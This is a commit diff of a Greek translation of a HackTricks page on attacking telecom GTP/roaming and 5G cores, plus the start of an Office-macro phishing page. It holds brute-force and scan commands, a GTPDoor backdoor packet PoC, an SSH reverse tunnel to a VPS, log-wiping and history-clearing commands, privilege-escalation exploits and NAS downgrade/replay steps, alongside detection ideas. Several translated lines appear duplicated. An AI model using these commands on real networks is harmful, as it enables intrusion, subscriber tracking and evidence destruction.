mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
8b83fe87be
commit
a644f27aad
@ -1,27 +1,27 @@
|
||||
# Εκμετάλλευση Δικτύου Τηλεπικοινωνιών (GTP / Περιβάλλοντα Roaming)
|
||||
# Εκμετάλλευση Δικτύου Τηλεπικοινωνιών (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Οι πρωτόκολλοι mobile-core (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι-εμπιστευτικά GRX/IPX roaming backbones. Επειδή κινούνται πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιαδήποτε παρουσία εντός της περιμέτρου ενός τηλεπικοινωνιακού δικτύου συνήθως μπορεί να φτάσει απευθείας τα core signalling planes**. Οι ακόλουθες σημειώσεις συγκεντρώνουν offensive tricks που παρατηρήθηκαν in the wild εναντίον SGSN/GGSN, PGW/SGW και άλλων EPC nodes.
|
||||
> Τα mobile-core πρωτόκολλα (GPRS Tunnelling Protocol – GTP) συχνά διασχίζουν ημι-έμπιστες GRX/IPX roaming ραχοκοκαλιές. Επειδή ταξιδεύουν πάνω σε απλό UDP με σχεδόν καθόλου authentication, **οποιοδήποτε foothold εντός της τηλεπικοινωνιακής περίμετρου συνήθως μπορεί να φτάσει άμεσα τα core signalling planes**. Οι ακόλουθες σημειώσεις συγκεντρώνουν offensive tricks παρατηρημένα στο wild εναντίον SGSN/GGSN, PGW/SGW και άλλων EPC κόμβων.
|
||||
|
||||
## 1. Αναγνώριση & Αρχική Πρόσβαση
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Προεπιλεγμένοι λογαριασμοί OSS / NE
|
||||
Ένας εκπληκτικά μεγάλος αριθμός vendor network elements παραδίδεται με hard-coded SSH/Telnet χρήστες όπως `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Ένα αφιερωμένο wordlist αυξάνει δραματικά την επιτυχία σε brute-force:
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Αν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).
|
||||
Εάν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).
|
||||
|
||||
### 1.2 Host Discovery εντός GRX/IPX
|
||||
Οι περισσότεροι GRX operators εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για να χαρτογραφήσετε γρήγορα τους GTP-C listeners:
|
||||
### 1.2 Host Discovery μέσα στο GRX/IPX
|
||||
Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν **ICMP echo** σε όλο το backbone. Συνδυάστε το `masscan` με τους ενσωματωμένους `gtpv1` UDP probes για να χαρτογραφήσετε γρήγορα τους ακροατές GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Απαρίθμηση Συνδρομητών – `cordscan`
|
||||
|
||||
Το ακόλουθο εργαλείο Go συνθέτει **GTP-C Create PDP Context Request** πακέτα και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει τον τρέχοντα **SGSN / MME** που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το PLMN που επισκέφθηκε ο συνδρομητής.
|
||||
Το ακόλουθο εργαλείο Go δημιουργεί πακέτα **GTP-C Create PDP Context Request** και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει την τρέχουσα **SGSN / MME** που εξυπηρετεί το ερωτηθέν IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,10 +29,10 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Κύριες επιλογές:
|
||||
Βασικά ορίσματα:
|
||||
- `--imsi` IMSI του στοχευόμενου συνδρομητή
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Γράφει ακατέργαστα πακέτα σε pcap
|
||||
- `-w` Εγγραφή ακατέργαστων πακέτων σε pcap
|
||||
|
||||
Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:
|
||||
```
|
||||
@ -40,11 +40,11 @@ pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Εκτέλεση Κώδικα μέσω GTP – `GTPDoor`
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` είναι μια μικρή υπηρεσία ELF που **binds UDP 2123 and parses every incoming GTP-C packet**. Όταν το payload ξεκινάει με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγεται μέσα σε **Echo Response** μηνύματα, έτσι ώστε να μην δημιουργείται ποτέ εξωτερική session.
|
||||
`GTPDoor` είναι μια μικρή ELF υπηρεσία που **δένεται στο UDP 2123 και αναλύει κάθε εισερχόμενο GTP-C πακέτο**. Όταν το payload ξεκινά με ένα pre-shared tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω `/bin/sh -c`. Το stdout/stderr εξάγεται μέσα σε μηνύματα **Echo Response** έτσι ώστε να μην δημιουργείται ποτέ εξωτερική συνεδρία.
|
||||
|
||||
Ελάχιστο PoC packet (Python):
|
||||
Ελάχιστο PoC πακέτο (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Ανίχνευση:
|
||||
* οποιοσδήποτε host που στέλνει **unbalanced Echo Requests** προς τα SGSN IPs
|
||||
* GTP version flag ορισμένο σε 1 ενώ message type = 1 (Echo) — απόκλιση από το spec
|
||||
* οποιοδήποτε host που στέλνει **unbalanced Echo Requests** σε SGSN IPs
|
||||
* σημαία έκδοσης GTP ορισμένη σε 1 ενώ message type = 1 (Echo) – απόκλιση από τις προδιαγραφές
|
||||
|
||||
## 4. Pivoting μέσω του Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` παρέχει έναν εξομοιωτή SGSN ικανό να **establish a PDP context towards a real GGSN/PGW**. Μόλις συμφωνηθεί, το Linux λαμβάνει μια νέα διεπαφή `tun0` προσβάσιμη από το roaming peer.
|
||||
`OsmoGGSN` παρέχει έναν SGSN emulator ικανό να **establish a PDP context towards a real GGSN/PGW**. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή `tun0` που είναι προσβάσιμη από τον roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Με κατάλληλο firewall hair-pinning, αυτό το tunnel παρακάμπτει signalling-only VLANs και σας οδηγεί απευθείας στο **data plane**.
|
||||
Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Ανοίξτε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στην :53 και επιστρέψτε αργότερα από το σπίτι:
|
||||
Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στην :53 και επιστρέψτε αργότερα από το σπίτι:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Ελέγξτε ότι `GatewayPorts yes` είναι ενεργοποιημένο στο VPS.
|
||||
|
||||
## 5. Κρυφά Κανάλια
|
||||
## 5. Covert Channels
|
||||
|
||||
| Κανάλι | Μεταφορά | Αποκωδικοποίηση | Σημειώσεις |
|
||||
|--------|----------|-----------------|-----------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | απολύτως παθητικός ακροατής, χωρίς εξερχόμενη κίνηση |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για το υποτομέα `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | αναμειγνύεται με νόμιμη GTP-C κίνηση |
|
||||
| Channel | Transport | Decoding | Notes |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | καθαρός παθητικός listener, χωρίς εξερχόμενη κίνηση |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | παρακολουθεί για `*.nodep` υποτομέα |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | συνδυάζεται με νόμιμη GTP-C κίνηση |
|
||||
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
Όλα τα implants υλοποιούν watchdogs που **timestomp** τα binaries τους και επανεκκινούνται αν καταρρεύσουν.
|
||||
|
||||
## 6. Οδηγός Αποφυγής Ανίχνευσης
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -111,12 +111,12 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Συμβουλή για καθαρισμό:
|
||||
Συμβουλή καθαρισμού:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Εργαλειοθήκη
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
@ -124,54 +124,54 @@ rm -f /tmp/sh ; history -c
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. Επιθέσεις Εγγραφής 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
Η διαδικασία εγγραφής 5G εκτελείται πάνω από NAS (Non-Access Stratum) επάνω στο NGAP. Μέχρι να ενεργοποιηθεί η ασφάλεια NAS από το Security Mode Command/Complete, τα αρχικά μηνύματα δεν είναι authenticated ή encrypted. Αυτό το παράθυρο pre-security επιτρέπει πολλαπλές επιθετικές διαδρομές όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε N2 traffic (π.χ., on-path μέσα στον core, rogue gNB, ή testbed).
|
||||
Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) επάνω στο NGAP. Μέχρι να ενεργοποιηθεί η ασφάλεια NAS μέσω Security Mode Command/Complete, τα αρχικά μηνύματα είναι μη αυθεντικοποιημένα και μη κρυπτογραφημένα. Αυτό το παράθυρο προ-ασφάλειας επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την κίνηση N2 (π.χ., on-path μέσα στον core, rogue gNB, ή testbed).
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||
- Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
|
||||
- Authentication: AMF/AUSF στέλνουν RAND/AUTN; UE επιστρέφει RES*.
|
||||
- Security Mode Command/Complete: NAS integrity και ciphering διαπραγματεύονται και ενεργοποιούνται.
|
||||
- PDU Session Establishment: IP/QoS setup.
|
||||
|
||||
Lab setup tips (non-RF):
|
||||
- Core: Open5GS default deployment is sufficient to reproduce flows.
|
||||
- UE: simulator or test UE; decode using Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows.
|
||||
- UE: simulator ή test UE; decode με Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να σηκωθεί πλήρες rogue gNB).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Αναμενόμενο: Η UE/USIM πρέπει να μεταδίδει SUCI (SUPI encrypted with the home-network public key). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει ένα πρόβλημα ιδιωτικότητας που επιτρέπει persistent subscriber tracking.
|
||||
Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει έλλειψη ιδιωτικότητας που επιτρέπει επίμονη παρακολούθηση συνδρομητών.
|
||||
|
||||
Πώς να δοκιμάσετε:
|
||||
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
|
||||
Πώς να το δοκιμάσετε:
|
||||
- Capture το πρώτο NAS μήνυμα στο InitialUEMessage και εξετάστε το Mobile Identity IE.
|
||||
- Wireshark quick checks:
|
||||
- It should decode as SUCI, not IMSI.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.
|
||||
- Θα πρέπει να αποκωδικοποιείται ως SUCI, όχι IMSI.
|
||||
- Παραδείγματα φίλτρων: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` θα πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία `imsi` υποδεικνύει leak.
|
||||
|
||||
Τι να συλλέξετε:
|
||||
- MCC/MNC/MSIN αν εκτίθενται; log ανά UE και παρακολούθηση σε βάθος χρόνου/τοποθεσιών.
|
||||
- MCC/MNC/MSIN αν εκτίθενται; log ανά-UE και παρακολούθηση σε χρόνο/τοποθεσίες.
|
||||
|
||||
Μείωση κινδύνου:
|
||||
- Επιβάλετε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.
|
||||
Αντιμετώπιση:
|
||||
- Επιβάλλετε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Υπόβαθρο:
|
||||
- Η UE διαφημίζει υποστηριζόμενα EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
|
||||
- Συνηθισμένοι συσχετισμοί: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.
|
||||
Background:
|
||||
- UE διαφημίζει υποστηριζόμενα EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
|
||||
- Κοινές αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.
|
||||
|
||||
Πρόβλημα:
|
||||
- Επειδή το Registration Request δεν προστατεύεται με integrity, ένας on-path attacker μπορεί να καθαρίσει bits capability για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.
|
||||
Issue:
|
||||
- Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits δυνατοτήτων για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.
|
||||
|
||||
Επιθετικά βήματα:
|
||||
- Intercept InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
|
||||
- Με Sni5Gect, hook το NAS message και patch τα capability bits πριν τα προωθήσετε.
|
||||
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
|
||||
Offensive steps:
|
||||
- Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να διαφημίζει μόνο EEA0/EIA0.
|
||||
- Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
|
||||
- Παρατηρήστε αν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.
|
||||
|
||||
Επαλήθευση/ορατότητα:
|
||||
- Στο Wireshark, επιβεβαιώστε τα selected algorithms μετά το Security Mode Command/Complete.
|
||||
Verification/visibility:
|
||||
- Στο Wireshark, επιβεβαιώστε τους επιλεγμένους αλγόριθμους μετά το Security Mode Command/Complete.
|
||||
- Example passive sniffer output:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
@ -179,11 +179,11 @@ Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Μέτρα αντιμετώπισης (υποχρεωτικά):
|
||||
- Διαμορφώστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου είναι αυστηρά επιβεβλημένο (π.χ. κλήσεις έκτακτης ανάγκης).
|
||||
- Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο· κάντε log και alarm σε οποιοδήποτε NAS security context που διαπραγματεύεται null algorithms.
|
||||
- Διαμορφώστε AMF/policy ώστε να απορρίπτει EEA0/EIA0 εκτός όπου είναι αυστηρώς επιβεβλημένο (π.χ., κλήσεις έκτακτης ανάγκης).
|
||||
- Προτιμήστε την επιβολή EEA2/EIA2 ως ελάχιστο · καταγράψτε και ειδοποιήστε (log and alarm) για οποιονδήποτε NAS security context που διαπραγματεύεται null algorithms.
|
||||
|
||||
### 9.3 Replay of αρχικού Registration Request (pre-security NAS)
|
||||
Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να γίνει replay προς AMF.
|
||||
### 9.3 Replay του αρχικού Registration Request (pre-security NAS)
|
||||
Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να επαναληφθεί προς το AMF.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
@ -208,53 +208,32 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
What to observe:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
Τι να παρατηρήσετε:
|
||||
- Εάν το AMF αποδέχεται το replay και προχωρά στην Authentication· η έλλειψη επαλήθευσης φρεσκάδας/context υποδηλώνει έκθεση.
|
||||
- Εάν το AMF αποδέχεται το replay και προχωρά στην Authentication· η έλλειψη επικύρωσης freshness/context υποδεικνύει ευπάθεια.
|
||||
|
||||
Mitigations:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
Μέτρα αντιμετώπισης:
|
||||
- Επιβάλλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχετίστε ανά GNB/UE.
|
||||
Αντιμετώπιση:
|
||||
- Επιβάλλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
### 9.4 Δείκτες εργαλείων (αναπαραγώγιμα)
|
||||
- Open5GS: στήστε ένα AMF/SMF/UPF για να μιμηθείτε τον core· παρακολουθήστε N2 (NGAP) και NAS.
|
||||
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα παραπάνω φίλτρα για να απομονώσετε τη Registration.
|
||||
- 5GReplay: καταγράψτε μια Registration, και μετά κάντε replay συγκεκριμένων μηνυμάτων NGAP + NAS σύμφωνα με τον κανόνα.
|
||||
- Sni5Gect: σε πραγματικό χρόνο sniff/modify/inject το NAS control-plane για να αναγκάσετε null algorithms ή να διαταράξετε ακολουθίες authentication.
|
||||
### 9.4 Συμβουλές για εργαλεία (αναπαραγώγιμα)
|
||||
- Open5GS: ξεκινήστε ένα AMF/SMF/UPF για να προσομοιώσετε το core· παρατηρήστε N2 (NGAP) και NAS.
|
||||
- Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα φίλτρα παραπάνω για να απομονώσετε την Registration.
|
||||
- 5GReplay: καταγράψτε μια registration, και μετά replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
### 9.5 Λίστα ελέγχου άμυνας
|
||||
- Επιθεωρείτε συνεχώς τα Registration Request για SUPI/IMSI σε απλό κείμενο· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
|
||||
- Επιθεωρείτε συνεχώς το Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
|
||||
- Απορρίψτε EEA0/EIA0 εκτός από στενά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
|
||||
- Ανιχνεύστε rogue ή λανθασμένα ρυθμισμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, μη αναμενόμενοι N2 peers.
|
||||
- Εντοπίστε rogue ή κακώς διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απρόσμενοι N2 peers.
|
||||
- Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
## Ιδέες Ανίχνευσης
|
||||
1. **Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί Create PDP Context Requests**.
|
||||
2. **Μη-τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes** από εσωτερικά IP.
|
||||
3. **Συχνές Echo Requests χωρίς αντίστοιχες Echo Responses** – μπορεί να υποδηλώνει GTPDoor beacons.
|
||||
1. **Οποιαδήποτε συσκευή, εκτός από SGSN/GGSN, που προβαίνει σε Create PDP Context Requests**.
|
||||
2. **Μη-τυπικές θύρες (53, 80, 443) που δέχονται SSH handshakes** από εσωτερικά IPs.
|
||||
3. **Συχνά Echo Requests χωρίς αντίστοιχα Echo Responses** – μπορεί να υποδεικνύουν GTPDoor beacons.
|
||||
4. **Υψηλός ρυθμός ICMP echo-reply κυκλοφορίας με μεγάλα, μη-μηδενικά πεδία identifier/sequence**.
|
||||
5. 5G: **InitialUEMessage που μεταφέρει NAS Registration Requests επαναλαμβανόμενα από τα ίδια endpoints** (σήμα replay).
|
||||
6. 5G: **NAS Security Mode που διαπραγματεύεται EEA0/EIA0** εκτός έκτακτων περιπτώσεων.
|
||||
6. 5G: **NAS Security Mode που διαπραγματεύεται EEA0/EIA0** εκτός συμφραζομένων έκτακτης ανάγκης.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Έγγραφα Office
|
||||
## Office Έγγραφα
|
||||
|
||||
Το Microsoft Word εκτελεί επικύρωση δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Η επικύρωση δεδομένων γίνεται με τη μορφή ταυτοποίησης της δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την ταυτοποίηση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
|
||||
Το Microsoft Word εκτελεί έλεγχο εγκυρότητας δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος εγκυρότητας δεδομένων πραγματοποιείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοιχτεί.
|
||||
|
||||
Συνήθως, αρχεία Word που περιέχουν macros χρησιμοποιούν την κατάληξη `.docm`. Ωστόσο, είναι δυνατόν να μετονομαστεί το αρχείο αλλάζοντας την επέκταση και να διατηρήσει παράλληλα τη δυνατότητα εκτέλεσης των macros.\
|
||||
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει macros, κατά σχεδιασμό, αλλά ένα αρχείο DOCM μετονομασμένο σε RTF θα χειριστείται από το Microsoft Word και θα είναι ικανό για εκτέλεση macros.\
|
||||
Οι ίδιες εσωτερικές λειτουργίες και μηχανισμοί εφαρμόζονται σε όλο το λογισμικό του Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
Συνήθως, τα αρχεία Word που περιέχουν macros χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομαστεί το αρχείο αλλάζοντας την επέκταση αρχείου και να διατηρηθεί η ικανότητα εκτέλεσης των macros.\
|
||||
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει macros από σχεδιασμό, αλλά ένα αρχείο DOCM μετονομασμένο σε RTF θα χειριστείται από το Microsoft Word και θα είναι ικανό για εκτέλεση macros.\
|
||||
Οι ίδιες εσωτερικές λειτουργίες και μηχανισμοί ισχύουν για όλο το λογισμικό του Microsoft Office Suite (Excel, PowerPoint κ.λπ.).
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να ελέγξετε ποιες επεκτάσεις πρόκειται να εκτελεστούν από κάποια προγράμματα Office:
|
||||
Μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Τα αρχεία DOCX που αναφέρονται σε ένα απομακρυσμένο πρότυπο (File –Options –Add-ins –Manage: Templates –Go) που περιλαμβάνει macros μπορούν επίσης να εκτελέσουν macros.
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
